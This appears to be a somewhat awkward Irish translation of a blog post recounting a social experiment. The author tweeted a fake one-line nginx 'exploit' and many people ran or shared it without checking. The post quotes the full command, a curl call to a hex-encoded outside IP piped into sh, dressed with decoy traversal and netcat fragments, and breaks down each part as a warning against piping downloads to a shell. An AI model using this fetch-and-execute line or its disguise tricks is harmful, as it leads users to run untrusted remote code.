An rath a bhí ar thurgnamh sóisialta le saothrú bréige do nginx

Nóta. aistrigh.: Údar nóta bunaidh, a foilsíodh ar 1 Meitheamh, cinneadh a dhéanamh ar thurgnamh i measc iad siúd a bhfuil suim acu i slándáil faisnéise. Chun seo a dhéanamh, d'ullmhaigh sé dúshaothrú bréige le haghaidh leochaileachta neamhnochta sa fhreastalaí gréasáin agus phostáil sé ar a Twitter é. A chuid boinn tuisceana - a bheith faoi lé láithreach ag speisialtóirí a d'fheicfeadh an dallamullóg soiléir sa chód - ní hamháin nár tháinig siad fíor ... Sháraigh siad gach ionchas, agus sa treo eile: fuair an tweet tacaíocht ollmhór ó go leor daoine nach raibh. seiceáil a bhfuil ann.

An rath a bhí ar thurgnamh sóisialta le saothrú bréige do nginx

TL; DR: Ná húsáid píblíne comhaid i sh nó bash in imthosca ar bith. Is bealach iontach é seo chun smacht a chailleadh ar do ríomhaire.

Ba mhaith liom gearrscéal a roinnt leat faoi shaothrú grinn PoC a cruthaíodh an 31 Bealtaine. Tháinig sé go pras mar fhreagra ar nuacht ó Alisa Esage Shevchenko, ball Tionscnamh nialais lae (ZDI), go nochtfar go luath an fhaisnéis sin faoi leochaileacht i NGINX as a dtiocfaidh RCE (forghníomhú cód iargúlta). Ós rud é go bhfuil cumhacht ag NGINX go leor suíomhanna gréasáin, caithfidh gur buamaí a bhí sa nuacht. Ach mar gheall ar mhoill sa phróiseas “nochtadh freagrach”, níorbh eol sonraí an méid a tharla - is nós imeachta caighdeánach ZDI é seo.

An rath a bhí ar thurgnamh sóisialta le saothrú bréige do nginx
tweet faoi ​​nochtadh leochaileachta in NGINX

Tar éis dom a bheith ag obair ar theicníc nua obfuscation in curl, luaigh mé an tweet bunaidh agus “sceitheadh ​​​​PoC oibre" comhdhéanta de líne singil de chód a bhaineann leas as an leochaileacht a aimsíodh. Ar ndóigh, bhí sé seo nonsense iomlán. Ghlac mé leis go mbeinn faoi lé láithreach, agus go bhfaighfinn cúpla retweets (oh well).

An rath a bhí ar thurgnamh sóisialta le saothrú bréige do nginx
tweet le saothrú falsa

Mar sin féin, ní raibh mé in ann a shamhlú cad a tharla ina dhiaidh sin. Tháinig ardú mór ar an éileamh atá ar mo thweet. Is ionadh é, i láthair na huaire (15:00 am Moscó 1 Meitheamh) is beag duine a thuig gur falsa é seo. Déanann go leor daoine é a ath-tweetáil gan é a sheiceáil ar chor ar bith (gan trácht ar na grafaicí álainn ASCII a aschuireann sé).

An rath a bhí ar thurgnamh sóisialta le saothrú bréige do nginx
Féach cé chomh hálainn is atá sé!

Cé go bhfuil na lúba agus na dathanna seo go léir iontach, is léir go raibh ar dhaoine cód a rith ar a n-inneall chun iad a fheiceáil. Ar ámharaí an tsaoil, oibríonn brabhsálaithe ar an mbealach céanna, agus in éineacht leis an bhfíric nach raibh mé ag iarraidh dul i dtrioblóid dlí, ní raibh an cód curtha ar mo shuíomh ach ag déanamh glaonna macalla gan iarracht a dhéanamh aon chód breise a shuiteáil nó a fhorghníomhú.

Digression beag: netspooky, dnz, mise agus na guys eile ón bhfoireann Thugcrowd Táimid ag imirt le bealaí éagsúla chun orduithe curl a cheilt ar feadh tamaill anois mar tá sé fionnuar ... agus is geeks muid. d'aimsigh netspooky agus dnz roinnt modhanna nua a raibh cuma an-gheallta ormsa. Ghlac mé páirt sa spraoi agus rinne mé iarracht tiontuithe deachúla IP a chur leis an mála cleasanna. Tarlaíonn sé gur féidir IP a thiontú go formáid heicsidheachúil freisin. Thairis sin, itheann curl agus an chuid is mó uirlisí NIX eile IPanna heicsidheachúlach go sona sásta! Mar sin ní raibh ann ach líne ordaithe a bhí diongbháilte agus slán a chruthú. Sa deireadh shocraigh mé ar an gceann seo:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Innealtóireacht shoch-leictreonach (FÉACH) - níos mó ná fioscaireacht amháin

Bhí sábháilteacht agus cur amach mar chuid mhór den turgnamh seo. Sílim gurb iad ba chúis lena rath. Thug an líne ordaithe le tuiscint go soiléir slándáil trí thagairt a dhéanamh do "127.0.0.1" (an localhost aitheanta). Meastar go bhfuil Localhost slán agus ní fhágann na sonraí air do ríomhaire riamh.

Ba é an t-eolas a bhí ar an dara príomh-chomhpháirt SEE den turgnamh. Ós rud é go raibh an spriocghrúpa comhdhéanta go príomha de dhaoine eolach ar bhunghnéithe na slándála ríomhaireachta, bhí sé tábhachtach cód a chruthú ionas go mbeadh an chuma ar chodanna de a bheith eolach agus eolach (agus mar sin sábháilte). D'éirigh thar barr le heilimintí de sheanchoincheapa a shaothrú a fháil ar iasacht agus iad a chomhcheangal ar bhealach neamhghnách.

Anseo thíos tá anailís mhionsonraithe ar an líneáil aon-líne. Caitheann gach rud ar an liosta seo nádúr cosmaideacha, agus beagnach aon rud ag teastáil le haghaidh a oibriú iarbhír.

Cad iad na comhpháirteanna atá riachtanach i ndáiríre? seo -gsS, -O 0x0238f06a, |sh agus an freastalaí gréasáin féin. Ní raibh aon treoracha mailíseacha ar an bhfreastalaí gréasáin, ach sheirbheáil sé grafaic ASCII ag baint úsáide as orduithe echo sa script atá i index.html. Nuair a tháinig an t-úsáideoir isteach i líne le |sh i lár, index.html luchtaithe agus a fhorghníomhú. Ar ámharaí an tsaoil, ní raibh aon drochintinn ag caomhnóirí an fhreastalaí gréasáin.

  • ../../../%00 — is ionann é agus dul thar an eolaire;
  • ngx_stream_module.so — cosán chuig modúl randamach NGINX;
  • /bin/sh%00<'protocol:TCP' - táimid ag seoladh supposedly /bin/sh ar an meaisín sprice agus an t-aschur a atreorú chuig an gcainéal TCP;
  • -O 0x0238f06a#PLToffset - comhábhar rúnda, forlíonta #PLToffset, chun breathnú cosúil le fritháireamh cuimhne atá ar bhealach éigin sa PLT;
  • |sh; - blúire tábhachtach eile. B'éigean dúinn an t-aschur a atreorú chuig sh/bash chun an cód a rith ón bhfreastalaí gréasáin ionsaí atá suite ag 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - caochadán ina dtagraíonn netcat /dev/tcp/localhostionas go bhféachann gach rud sábháilte arís. Go deimhin, ní dhéanann sé rud ar bith agus tá sé san áireamh sa líne le haghaidh áilleacht.

Cuireann sé seo críoch le díchódú na scripte aonlíne agus an plé ar ghnéithe den “innealtóireacht shoch-leictreonach” (fioscaireacht chasta).

Cumraíocht Freastalaí Gréasáin agus Frithbhearta

Ós rud é gur infosec/hackers iad formhór mór mo shíntiúsóirí, chinn mé an freastalaí gréasáin a dhéanamh beagán níos resistant do léirithe spéise as a gcuid féin, díreach ionas go mbeadh rud éigin le déanamh ag na guys (agus bheadh ​​​​sé spraoi ar bun). Níl mé chun liosta a dhéanamh de na contúirtí go léir anseo ós rud é go bhfuil an turgnamh fós ar siúl, ach seo roinnt rudaí a dhéanann an freastalaí:

  • Monatóireacht ghníomhach a dhéanamh ar iarrachtaí dáileacháin ar líonraí sóisialta áirithe agus ionadaíonn sé mionsamhlacha réamhamhairc éagsúla chun an t-úsáideoir a spreagadh chun cliceáil ar an nasc.
  • Atreoraíonn Chrome/Mozilla/Safari/etc chuig an bhfíseán poiblíochta Thugcrowd seachas an script bhlaosc a thaispeáint.
  • Uaireadóirí do chomharthaí soiléire cur isteach/hacking soiléir, agus ansin tosaíonn ag atreorú iarratais chuig freastalaithe NSA (ha!).
  • Suiteáil Trojan, chomh maith le rootkit BIOS, ar gach ríomhaire a dtugann a n-úsáideoirí cuairt ar an ósta ó bhrabhsálaí rialta (díreach kidding!).

An rath a bhí ar thurgnamh sóisialta le saothrú bréige do nginx
Cuid bheag de animéirí

Sa chás seo, ba é an t-aon sprioc a bhí agam ná cuid de ghnéithe Apache a mháistir - go háirithe, na rialacha fionnuar maidir le hiarratais a atreorú - agus shíl mé: cén fáth nach bhfuil?

Leas a bhaint as NGINX (Fíor!)

Liostáil le @alisaesage ar Twitter agus lean obair iontach ZDI maidir le dul i ngleic le fíor-leochaileachtaí agus leas a bhaint as deiseanna i NGINX. Chuir a gcuid oibre spéis i gcónaí dom agus táim buíoch d’Alice as a foighne leis an lua agus na fógraí go léir a rinne mo thvuít dúr. Go fortunately, rinne sé roinnt mhaith freisin: chabhraigh sé le feasacht a ardú ar leochaileachtaí NGINX, chomh maith le fadhbanna a d'eascair le mí-úsáid curl.

Foinse: will.com

Add a comment